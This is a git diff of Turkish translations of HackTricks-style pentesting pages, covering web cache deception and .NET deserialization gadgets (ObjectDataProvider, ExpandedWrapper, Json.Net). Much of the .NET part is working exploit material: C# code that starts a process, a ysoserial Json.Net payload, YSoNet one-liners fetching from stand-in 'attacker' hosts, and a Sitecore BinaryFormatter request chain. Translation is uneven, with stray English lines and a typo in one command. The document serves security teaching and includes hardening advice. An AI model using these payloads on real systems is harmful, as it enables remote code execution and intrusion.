 - _www.example.com/profile.php/%2e%2e/test.js_
-- _Daha az bilinen uzantılar kullanın, örneğin_ `.avif`
+- _Daha az bilinen uzantılar kullanın, örn._ `.avif`
 
-Bu yazıda çok net bir örnek bulunabilir: [https://hackerone.com/reports/593712](https://hackerone.com/reports/593712).\
-Örnekte, _http://www.example.com/home.php/non-existent.css_ gibi var olmayan bir sayfayı yüklediğinizde, _http://www.example.com/home.php_ (**kullanıcının duyarlı bilgileriyle**) içeriğin döneceği ve önbellek sunucusunun sonucu kaydedeceği açıklanmaktadır.\
-Daha sonra, **saldırgan**, kendi tarayıcısında _http://www.example.com/home.php/non-existent.css_ adresine erişebilir ve daha önce erişen kullanıcıların **gizli bilgilerini** gözlemleyebilir.
+Başka çok açıklayıcı bir örnek şu write-up'ta bulunuyor: [https://hackerone.com/reports/593712](https://hackerone.com/reports/593712).\
+Örnekte, _http://www.example.com/home.php/non-existent.css_ gibi olmayan bir sayfayı yüklediğinizde _http://www.example.com/home.php_ içeriğinin (**kullanıcının duyarlı bilgileriyle birlikte**) döndürüleceği ve cache sunucusunun sonucu saklayacağı açıklanıyor.\
+Ardından, **saldırgan** kendi tarayıcısında _http://www.example.com/home.php/non-existent.css_ adresine erişip, daha önce bu sayfayı ziyaret eden kullanıcıların **gizli bilgilerini** gözlemleyebilir.
 
-**Önbellek proxy'sinin**, dosyaların **uzantısına** (_css_) göre **önbelleğe alınacak** şekilde **yapılandırılması** gerektiğini unutmayın ve içerik türüne göre değil. Örneğin, _http://www.example.com/home.php/non-existent.css_ adresinin `text/html` içerik türü yerine bir _.css_ dosyası için beklenen `text/css` mime türüne sahip olacaktır.
+Burada dikkat edilmesi gereken, **cache proxy**'nin dosyaları mime-type değil, dosya **uzantısına** (_.css_) göre **cache**leyecek şekilde **yapılandırılmış** olmasıdır. Örnekte _http://www.example.com/home.php/non-existent.css_ için `text/html` content-type dönecek ve `text/css` mime type olmayacaktır.
 
-Burada [HTTP İstek Kaçırma](../http-request-smuggling/index.html#using-http-request-smuggling-to-perform-web-cache-deception) kullanarak Önbellek Aldatmacası saldırıları nasıl gerçekleştirilir öğrenin.
+Buradan, HTTP Request Smuggling'i kötüye kullanarak Cache Deceptions saldırılarının nasıl gerçekleştirileceğini öğrenin: [ Cache Deceptions attacks abusing HTTP Request Smuggling](../http-request-smuggling/index.html#using-http-request-smuggling-to-perform-web-cache-deception).
 
 ## Otomatik Araçlar
 
-- [**toxicache**](https://github.com/xhzeem/toxicache): Bir URL listesinde web önbellek zehirlenmesi açıklarını bulmak ve birden fazla enjekte etme tekniğini test etmek için Golang tarayıcı.
+- [**toxicache**](https://github.com/xhzeem/toxicache): Golang ile yazılmış, bir URL listesindeki web cache poisoning zafiyetlerini bulmak ve birden fazla injection tekniğini test etmek için scanner.
 
 ## Referanslar
 
@@ -273,6 +292,7 @@ Burada [HTTP İstek Kaçırma](../http-request-smuggling/index.html#using-http-r
 - [https://www.linkedin.com/pulse/how-i-hacked-all-zendesk-sites-265000-site-one-line-abdalhfaz/](https://www.linkedin.com/pulse/how-i-hacked-all-zendesk-sites-265000-site-one-line-abdalhfaz/)
 - [How I found a 0-Click Account takeover in a public BBP and leveraged it to access Admin-Level functionalities](https://hesar101.github.io/posts/How-I-found-a-0-Click-Account-takeover-in-a-public-BBP-and-leveraged-It-to-access-Admin-Level-functionalities/)
 - [Burp Proxy Match & Replace](https://portswigger.net/burp/documentation/desktop/tools/proxy/match-and-replace)
+- [watchTowr Labs – Sitecore XP cache poisoning → RCE](https://labs.watchtowr.com/cache-me-if-you-can-sitecore-experience-platform-cache-poisoning-to-rce/)
 
 
 {{#include ../../banners/hacktricks-training.md}}

src/pentesting-web/deserialization/basic-.net-deserialization-objectdataprovider-gadgets-expandedwrapper-and-json.net.md

@@ -2,37 +2,37 @@
 
 {{#include ../../banners/hacktricks-training.md}}
 
-Bu yazı, **ObjectDataProvider gadget'ının nasıl istismar edildiğini** anlamaya ve **Json.Net ve xmlSerializer serileştirme kütüphanelerinin bu gadget ile nasıl kötüye kullanılabileceğini** açıklamaya adanmıştır.
+Bu yazı, ObjectDataProvider gadget'ının nasıl istismar edilerek RCE elde edildiğini ve Serialization kütüphaneleri **Json.Net** ve **xmlSerializer**'ın bu gadget ile nasıl kötüye kullanılabileceğini anlamaya adanmıştır.
 
 ## ObjectDataProvider Gadget
 
-Belgelerden: _ObjectDataProvider Sınıfı, bir bağlama kaynağı olarak kullanabileceğiniz bir nesneyi sarar ve oluşturur._\
-Evet, bu garip bir açıklama, o yüzden bu sınıfın ne kadar ilginç olduğunu görelim: Bu sınıf, **rastgele bir nesneyi sarmaya** izin verir, _**MethodParameters**_ kullanarak **rastgele parametreler ayarlamaya** ve ardından **MethodName kullanarak rastgele bir işlevi** çağırmaya olanak tanır.\
-Bu nedenle, rastgele **nesne**, **serileştirilirken** **parametrelerle bir işlevi** **çalıştıracaktır.**
+Dokümantasyondan: _ObjectDataProvider Class Wraps and creates an object that you can use as a binding source_.\
+Evet, tuhaf bir açıklama; o halde bu sınıfın bu kadar ilginç kılan neye sahip olduğuna bakalım: Bu sınıf rastgele bir nesneyi **wrap** etmeye, _**MethodParameters**_ kullanarak **rastgele parametreler ayarlamaya**, ve ardından **MethodName** kullanarak belirlenen parametrelerle rastgele nesnenin **rastgele bir fonksiyonunu çağırmaya** olanak verir.\
+Bu nedenle, rastgele **object** serileştirilirken **parametrelerle birlikte bir fonksiyonu çalıştıracaktır.**
 
 ### **Bu nasıl mümkün**
 
-**System.Windows.Data** ad alanı, **PresentationFramework.dll** içinde `C:\Windows\Microsoft.NET\Framework\v4.0.30319\WPF` konumunda tanımlanmış ve uygulanmıştır.
+**System.Windows.Data** namespace'i, **PresentationFramework.dll** içinde `C:\Windows\Microsoft.NET\Framework\v4.0.30319\WPF` yolunda bulunur; ObjectDataProvider burada tanımlanıp uygulanmıştır.
 
-[**dnSpy**](https://github.com/0xd4d/dnSpy) kullanarak, ilgilendiğimiz sınıfın **kodunu inceleyebilirsiniz**. Aşağıdaki resimde **PresentationFramework.dll --> System.Windows.Data --> ObjectDataProvider --> Method name** kodunu görüyoruz.
+[**dnSpy**](https://github.com/0xd4d/dnSpy) kullanarak ilgili sınıfın kodunu **inceleyebilirsiniz**. Aşağıdaki görselde **PresentationFramework.dll --> System.Windows.Data --> ObjectDataProvider --> Method name** kodunu görüyoruz.
 
 ![](<../../images/image (427).png>)
 
-Gördüğünüz gibi `MethodName` ayarlandığında `base.Refresh()` çağrılıyor, ne yaptığını görelim:
+Gördüğünüz gibi `MethodName` ayarlandığında `base.Refresh()` çağrılıyor; bunun ne yaptığına bakalım:
 
 ![](<../../images/image (319).png>)
 
-Tamam, şimdi `this.BeginQuery()` ne yapıyor ona bakalım. `BeginQuery`, `ObjectDataProvider` tarafından geçersiz kılınmıştır ve işte yaptığı:
+Tamam, şimdi `this.BeginQuery()`'in ne yaptığını görmeye devam edelim. `BeginQuery` `ObjectDataProvider` tarafından override edilmiş ve yaptığı şey şudur:
 
 ![](<../../images/image (345).png>)
 
-Kodun sonunda `this.QueryWorke(null)` çağrıldığını not edin. Bunun neyi çalıştırdığını görelim:
+Kodun sonunda `this.QueryWorke(null)` çağrısına dikkat edin. Bunun neyi çalıştırdığını görelim:
 
 ![](<../../images/image (596).png>)
 
-Bu, `QueryWorker` fonksiyonunun tam kodu değil, ancak ilginç kısmını gösteriyor: Kod **`this.InvokeMethodOnInstance(out ex);`** çağrısını yapıyor, bu, **metodun ayarlandığı yer**.
+Bu `QueryWorker` fonksiyonunun tamamı değil ama ilginç kısmı gösteriyor: Kod **`this.InvokeMethodOnInstance(out ex);`** çağrısı yapıyor; bu, **ayarlanan metodun çağrıldığı** satırdır.
 
-Sadece _**MethodName**_ ayarlayarak **çalıştırılacağını** kontrol etmek istiyorsanız, bu kodu çalıştırabilirsiniz:
+Eğer sadece _**MethodName**_'i ayarlamanın **çalıştırılacağını** kontrol etmek istiyorsanız, bu kodu çalıştırabilirsiniz:
 ```java
 using System.Windows.Data;
 using System.Diagnostics;
@@ -52,16 +52,14 @@ myODP.MethodName = "Start";
 }
 }
 ```
-Not edin ki `System.Windows.Data` yüklemek için _C:\Windows\Microsoft.NET\Framework\v4.0.30319\WPF\PresentationFramework.dll_ referansını eklemeniz gerekiyor.
+Note that you need to add as reference _C:\Windows\Microsoft.NET\Framework\v4.0.30319\WPF\PresentationFramework.dll_ in order to load `System.Windows.Data`
 
 ## ExpandedWrapper
 
-Önceki istismarı kullanarak, **nesnenin** bir _**ObjectDataProvider**_ örneği olarak **deseralize edileceği** durumlar olacaktır (örneğin, DotNetNuke zafiyetinde, XmlSerializer kullanarak, nesne `GetType` ile deseralize edildi). Bu durumda, _ObjectDataProvider_ örneğinde sarılı olan nesne türü hakkında **hiçbir bilgiye sahip olmayacağız** (`Process` örneğin). DotNetNuke zafiyeti hakkında daha fazla [bilgi burada](https://translate.google.com/translate?hl=en&sl=auto&tl=en&u=https%3A%2F%2Fpaper.seebug.org%2F365%2F&sandbox=1) bulabilirsiniz.
+Using the previous exploit there will be cases where the **object** is going to be **deserialized as** an _**ObjectDataProvider**_ instance (for example in DotNetNuke vuln, using XmlSerializer, the object was deserialized using `GetType`). Then, will have **no knowledge of the object type that is wrapped** in the _ObjectDataProvider_ instance (`Process` for example). You can find more [information about the DotNetNuke vuln here](https://translate.google.com/translate?hl=en&sl=auto&tl=en&u=https%3A%2F%2Fpaper.seebug.org%2F365%2F&sandbox=1).
 
-Bu sınıf, belirli bir örnekte kapsüllenmiş nesnelerin nesne türlerini **belirlemeye** olanak tanır. Bu nedenle, bu sınıf bir kaynak nesneyi (_ObjectDataProvider_) yeni bir nesne türüne kapsüllemek ve ihtiyaç duyduğumuz özellikleri sağlamak için kullanılabilir (_ObjectDataProvider.MethodName_ ve _ObjectDataProvider.MethodParameters_).\
-Bu, daha önce sunulan durumlar için çok faydalıdır, çünkü **_ObjectDataProvider**_ nesnesini bir **_**ExpandedWrapper**_ örneği içinde **sarmalayabileceğiz** ve **deseralize edildiğinde** bu sınıf, _**MethodName**_'de belirtilen **fonksiyonu** **çalıştıracak** _**OjectDataProvider**_ nesnesini **oluşturacaktır**.
-
-Bu sarmalayıcıyı aşağıdaki kod ile kontrol edebilirsiniz:
+This class allows to s**pecify the object types of the objects that are encapsulated** in a given instance. So, this class can be used to encapsulate a source object (_ObjectDataProvider_) into a new object type and provide the properties we need (_ObjectDataProvider.MethodName_ and _ObjectDataProvider.MethodParameters_).\
+This is very useful for cases as the one presented before, because we will be able to **wrap \_ObjectDataProvider**_** inside an **_**ExpandedWrapper** \_ instance and **when deserialized** this class will **create** the _**OjectDataProvider**_ object that will **execute** the **function** indicated in _**MethodName**_.
 ```java
 using System.Windows.Data;
 using System.Diagnostics;
@@ -85,11 +83,11 @@ myExpWrap.ProjectedProperty0.MethodName = "Start";
 ```
 ## Json.Net
 
-[Resmi web sayfasında](https://www.newtonsoft.com/json) bu kütüphanenin **Json.NET'in güçlü JSON serileştiricisi ile herhangi bir .NET nesnesini serileştirmeye ve serileştirmeye** izin verdiği belirtilmektedir. Yani, eğer **ObjectDataProvider gadget'ını serileştirebilirsek**, sadece bir nesneyi serileştirerek **RCE**'ye neden olabiliriz.
+In the [official web page](https://www.newtonsoft.com/json) it is indicated that this library allows to **Json.NET'in güçlü JSON serializer'ı ile herhangi bir .NET nesnesini serialize ve deserialize etme** yeteneğine sahip olduğunu belirtiyor. Yani eğer **ObjectDataProvider gadget**'ını deserialize edebilseydik, sadece bir nesneyi deserialize ederek bir **RCE** tetikleyebilirdik.
 
 ### Json.Net örneği
 
-Öncelikle, bu kütüphaneyi kullanarak bir nesneyi **serileştirmek/serileştirmek** için bir örneğe bakalım:
+Öncelikle bu kütüphaneyi kullanarak bir nesnenin nasıl **serialize/deserialize** edileceğine dair bir örnek görelim:
 ```java
 using System;
 using Newtonsoft.Json;
@@ -132,11 +130,11 @@ Console.WriteLine(desaccount.Email);
 }
 }
 ```
-### Json.Net'i Kötüye Kullanma
+### Json.Net'in suistimali
 
-[ysoserial.net](https://github.com/pwntester/ysoserial.net) kullanarak bir istismar oluşturdum:
+[ysoserial.net](https://github.com/pwntester/ysoserial.net) kullanarak exploit'i oluşturdum:
 ```java
-ysoserial.exe -g ObjectDataProvider -f Json.Net -c "calc.exe"
+yoserial.exe -g ObjectDataProvider -f Json.Net -c "calc.exe"
 {
 '$type':'System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35',
 'MethodName':'Start',
@@ -147,7 +145,7 @@ ysoserial.exe -g ObjectDataProvider -f Json.Net -c "calc.exe"
 'ObjectInstance':{'$type':'System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089'}
 }
 ```
-Bu kodda **sömürüyü test edebilirsiniz**, sadece çalıştırın ve bir hesap makinesinin çalıştığını göreceksiniz:
+Bu kodda **test the exploit**'i deneyebilirsiniz, sadece çalıştırın ve calc'in çalıştırıldığını göreceksiniz:
 ```java
 using System;
 using System.Text;
@@ -186,25 +184,25 @@ TypeNameHandling = TypeNameHandling.Auto
 ```
 ## Gelişmiş .NET Gadget Zincirleri (YSoNet & ysoserial.net)
 
-Yukarıda tanıtılan ObjectDataProvider + ExpandedWrapper tekniği, bir uygulama **güvensiz .NET deserialization** gerçekleştirdiğinde kötüye kullanılabilecek birçok gadget zincirinden sadece biridir. Modern kırmızı takım araçları, **[YSoNet](https://github.com/irsdl/ysonet)** (ve daha eski [ysoserial.net](https://github.com/pwntester/ysoserial.net)) gibi, onlarca gadget ve serileştirme formatı için **kullanıma hazır kötü niyetli nesne grafikleri** oluşturmayı otomatikleştirir.
+Yukarıda tanıtılan ObjectDataProvider + ExpandedWrapper tekniği, bir uygulama **güvensiz .NET deserializasyonu** gerçekleştirdiğinde istismar edilebilecek ÇOK SAYIDA gadget zincirinden sadece biridir. Modern red-team araçları, ör. **[YSoNet](https://github.com/irsdl/ysonet)** (ve daha eski [ysoserial.net](https://github.com/pwntester/ysoserial.net)), onlarca gadget ve serileştirme formatı için **kullanıma hazır kötü niyetli nesne grafikleri** oluşturmayı otomatikleştirir.
 
-Aşağıda, *YSoNet* ile birlikte gönderilen en kullanışlı zincirlerin yoğunlaştırılmış bir referansı ve bunların nasıl çalıştığına dair hızlı bir açıklama ile payload'ları oluşturmak için örnek komutlar bulunmaktadır.
+Aşağıda *YSoNet* ile gelen en kullanışlı zincirlerin özet bir referansı, nasıl çalıştıklarına kısa açıklamalar ve payload üretmek için örnek komutlarla birlikte verilmiştir.
 
-| Gadget Zinciri | Ana Fikir / Primitive | Yaygın Serileştiriciler | YSoNet tek satır |
-|----------------|-----------------------|-------------------------|------------------|
-| **TypeConfuseDelegate** | `DelegateSerializationHolder` kaydını bozar, böylece, malzeme haline geldiğinde, delegate *herhangi bir* saldırgan tarafından sağlanan metoda (örn. `Process.Start`) işaret eder | `BinaryFormatter`, `SoapFormatter`, `NetDataContractSerializer` | `ysonet.exe TypeConfuseDelegate "calc.exe" > payload.bin` |
-| **ActivitySurrogateSelector** | `System.Workflow.ComponentModel.ActivitySurrogateSelector`'ı kötüye kullanarak *bypass .NET ≥4.8 type-filtering* yapar ve sağlanan bir sınıfın **constructor**'ını doğrudan çağırır veya bir C# dosyasını anında **derler** | `BinaryFormatter`, `NetDataContractSerializer`, `LosFormatter` | `ysonet.exe ActivitySurrogateSelectorFromFile ExploitClass.cs;System.Windows.Forms.dll > payload.dat` |
-| **DataSetOldBehaviour** | `System.Data.DataSet`'in **eski XML** temsilini kullanarak `<ColumnMapping>` / `<DataType>` alanlarını doldurarak keyfi türleri başlatır (isteğe bağlı olarak `--spoofedAssembly` ile assembly'i sahteleyerek) | `LosFormatter`, `BinaryFormatter`, `XmlSerializer` | `ysonet.exe DataSetOldBehaviour "<DataSet>…</DataSet>" --spoofedAssembly mscorlib > payload.xml` |
-| **GetterCompilerResults** | WPF destekli çalışma zamanlarında (> .NET 5) özellik getter'larını zincirler ve `System.CodeDom.Compiler.CompilerResults`'a ulaşır, ardından `-c` ile sağlanan bir DLL'yi *derler* veya *yükler* | `Json.NET` türsüz, `MessagePack` türsüz | `ysonet.exe GetterCompilerResults -c Loader.dll > payload.json` |
-| **ObjectDataProvider** (gözden geçirme) | WPF `System.Windows.Data.ObjectDataProvider`'ı kullanarak kontrol edilen argümanlarla keyfi bir statik metodu çağırır. YSoNet, kötü niyetli XAML'yi uzaktan barındırmak için kullanışlı bir `--xamlurl` varyantı ekler | `BinaryFormatter`, `Json.NET`, `XAML`, *vb.* | `ysonet.exe ObjectDataProvider --xamlurl http://attacker/o.xaml > payload.xaml` |
-| **PSObject (CVE-2017-8565)** | `System.Management.Automation.PSObject` içine `ScriptBlock` gömülür ve bu, PowerShell nesneyi deseralize ettiğinde çalışır | PowerShell uzaktan erişim, `BinaryFormatter` | `ysonet.exe PSObject "Invoke-WebRequest http://attacker/evil.ps1" > psobj.bin` |
+| Gadget Chain | Key Idea / Primitive | Common Serializers | YSoNet one-liner |
+|--------------|----------------------|--------------------|------------------|
+| **TypeConfuseDelegate** | `DelegateSerializationHolder` kaydını bozar; nesne materyalize olduğunda delege *herhangi bir* saldırgan tarafından sağlanan metoda işaret eder (ör. `Process.Start`) | `BinaryFormatter`, `SoapFormatter`, `NetDataContractSerializer` | `ysonet.exe TypeConfuseDelegate "calc.exe" > payload.bin` |
+| **ActivitySurrogateSelector** | `System.Workflow.ComponentModel.ActivitySurrogateSelector`'ı suistimal ederek *\.NET ≥4.8 tip-filtrelemesini atlar* ve sağlanan bir sınıfın **yapıcısını** doğrudan çağırır veya bir C# dosyasını anında **derler** | `BinaryFormatter`, `NetDataContractSerializer`, `LosFormatter` | `ysonet.exe ActivitySurrogateSelectorFromFile ExploitClass.cs;System.Windows.Forms.dll > payload.dat` |
+| **DataSetOldBehaviour** | `System.Data.DataSet`'in **eski XML** temsilini kullanarak `<ColumnMapping>` / `<DataType>` alanlarını doldurup rastgele türler oluşturur (isteğe bağlı olarak `--spoofedAssembly` ile assembly'yi sahteleyebilir) | `LosFormatter`, `BinaryFormatter`, `XmlSerializer` | `ysonet.exe DataSetOldBehaviour "<DataSet>…</DataSet>" --spoofedAssembly mscorlib > payload.xml` |
+| **GetterCompilerResults** | WPF destekli runtime'larda (> .NET 5) özellik getter'larını `System.CodeDom.Compiler.CompilerResults`'a ulaşana kadar zincirler, sonra `-c` ile sağlanan bir DLL'i *derler* veya *yükler* | `Json.NET` typeless, `MessagePack` typeless | `ysonet.exe GetterCompilerResults -c Loader.dll > payload.json` |
+| **ObjectDataProvider** (inceleme) | WPF `System.Windows.Data.ObjectDataProvider`'ı kontrol edilen argümanlarla rastgele bir static metodu çağırmak için kullanır. YSoNet, kötü amaçlı XAML'i uzaktan barındırmak için kullanışlı bir `--xamlurl` varyantı ekler | `BinaryFormatter`, `Json.NET`, `XAML`, *etc.* | `ysonet.exe ObjectDataProvider --xamlurl http://attacker/o.xaml > payload.xaml` |
+| **PSObject (CVE-2017-8565)** | PowerShell nesnesi deserializasyonu sırasında çalışacak şekilde `ScriptBlock`'u `System.Management.Automation.PSObject` içine gömer | PowerShell remoting, `BinaryFormatter` | `ysonet.exe PSObject "Invoke-WebRequest http://attacker/evil.ps1" > psobj.bin` |
 
 > [!TIP]
-> Tüm payload'lar varsayılan olarak **stdout'a yazılır**, bu da bunları diğer araçlara (örn. ViewState oluşturucuları, base64 kodlayıcılar, HTTP istemcileri) yönlendirmeyi kolaylaştırır.
+> Tüm payload'lar varsayılan olarak **stdout'a** yazılır; bu, bunları diğer araçlara (ör. ViewState jeneratörleri, base64 kodlayıcılar, HTTP istemcileri) yönlendirmeyi kolaylaştırır.
 
-### YSoNet Kurulumu / İnşası
+### YSoNet'i Derleme / Kurma
 
-Eğer *Actions ➜ Artifacts* / *Releases* altında önceden derlenmiş ikili dosyalar mevcut değilse, aşağıdaki **PowerShell** tek satırı bir inşa ortamı kuracak, depoyu klonlayacak ve her şeyi *Release* modunda derleyecektir:
+Eğer *Actions ➜ Artifacts* / *Releases* altında önceden derlenmiş ikili dosyalar yoksa, aşağıdaki **PowerShell** tek satırlık komut bir build ortamı kurar, repository'yi klonlar ve her şeyi *Release* modunda derler:
 ```powershell
 Set-ExecutionPolicy Bypass -Scope Process -Force;
 [System.Net.ServicePointManager]::SecurityProtocol = [System.Net.ServicePointManager]::SecurityProtocol -bor 3072;
@@ -216,17 +214,48 @@ cd ysonet
 nuget restore ysonet.sln
 msbuild ysonet.sln -p:Configuration=Release
 ```
-Derlenmiş `ysonet.exe` daha sonra `ysonet/bin/Release/` altında bulunabilir.
+The compiled `ysonet.exe` can then be found under `ysonet/bin/Release/`.
 
-### Tespit ve Güçlendirme
-* **Beklenmeyen** `w3wp.exe`, `PowerShell.exe` veya kullanıcı tarafından sağlanan verileri (örneğin `MessagePack`, `Json.NET`) deseralize eden herhangi bir süreç için çocuk süreçleri tespit edin.
-* Eski `BinaryFormatter` / `NetDataContractSerializer` kaldırılamadığında, **tip filtrelemeyi** etkinleştirin ve **zorlayın** (`TypeFilterLevel` = *Full*, özel `SurrogateSelector`, `SerializationBinder`, *vb.*).
-* Mümkünse **`System.Text.Json`** veya **`DataContractJsonSerializer`** ile beyaz listeye dayalı dönüştürücülere geçin.
-* Asla ihtiyaç duymaması gereken web süreçlerinde tehlikeli WPF derlemelerinin (`PresentationFramework`, `System.Workflow.*`) yüklenmesini engelleyin.
+### Tespit ve Sertleştirme
+* **Tespit edin**: `w3wp.exe`, `PowerShell.exe` veya kullanıcı tarafından sağlanan veriyi deserialise eden herhangi bir sürecin (ör. `MessagePack`, `Json.NET`) beklenmeyen alt süreçlerini.
+* Legacy `BinaryFormatter` / `NetDataContractSerializer` kaldırılamıyorsa, **type-filtering** (`TypeFilterLevel` = *Full*, özel `SurrogateSelector`, `SerializationBinder`, *vb.*) etkinleştirilip zorunlu kılın.
+* Mümkünse whitelist tabanlı dönüştürücüler ile **`System.Text.Json`** veya **`DataContractJsonSerializer`**'a geçin.
+* Hiç ihtiyaç duymaması gereken web süreçlerinde tehlikeli WPF assembly'lerinin (`PresentationFramework`, `System.Workflow.*`) yüklenmesini engelleyin.
+
+## Gerçek‑dünya sink: Sitecore convertToRuntimeHtml → BinaryFormatter
+
+Kimlik doğrulamalı Sitecore XP Content Editor akışlarında erişilebilen pratik bir .NET sink:
+
+- Sink API: `Sitecore.Convert.Base64ToObject(string)` içinde `new BinaryFormatter().Deserialize(...)` kullanılır.
+- Tetikleme yolu: pipeline `convertToRuntimeHtml` → `ConvertWebControls`, bu işlem `id="{iframeId}_inner"` olan bir kardeş elementi arar ve base64 ile kodlanmış serileştirilmiş veri olarak muamele edilen bir `value` özniteliğini okur. Sonuç string'e dönüştürülür ve HTML'e eklenir.
+
+Minimal uçtan uca (kimlik doğrulamalı):
+```
+// Load HTML into EditHtml session
+POST /sitecore/shell/-/xaml/Sitecore.Shell.Applications.ContentEditor.Dialogs.EditHtml.aspx
+Content-Type: application/x-www-form-urlencoded
+
+__PARAMETERS=edithtml:fix&...&ctl00$ctl00$ctl05$Html=
+<html>
+<iframe id="test" src="poc"></iframe>
+<dummy id="test_inner" value="BASE64_BINARYFORMATTER"></dummy>
+</html>
+
+// Server returns a handle; visiting FixHtml.aspx?hdl=... triggers deserialization
+GET /sitecore/shell/-/xaml/Sitecore.Shell.Applications.ContentEditor.Dialogs.FixHtml.aspx?hdl=...
+```
+- Gadget: any BinaryFormatter chain returning a string (side‑effects run during deserialization). Payloads üretmek için YSoNet/ysoserial.net'e bakın.
+
+Sitecore'da HTML cache poisoning ile pre‑auth başlayan ve bu sink'e yol açan tam bir zincir için:
+
+{{#ref}}
+../../network-services-pentesting/pentesting-web/sitecore/README.md
+{{#endref}}
 
 ## Referanslar
 - [YSoNet – .NET Deserialization Payload Generator](https://github.com/irsdl/ysonet)
-- [ysoserial.net – orijinal PoC aracı](https://github.com/pwntester/ysoserial.net)
+- [ysoserial.net – original PoC tool](https://github.com/pwntester/ysoserial.net)
 - [Microsoft – CVE-2017-8565](https://msrc.microsoft.com/update-guide/vulnerability/CVE-2017-8565)
+- [watchTowr Labs – Sitecore XP cache poisoning → RCE](https://labs.watchtowr.com/cache-me-if-you-can-sitecore-experience-platform-cache-poisoning-to-rce/)
 
 {{#include ../../banners/hacktricks-training.md}}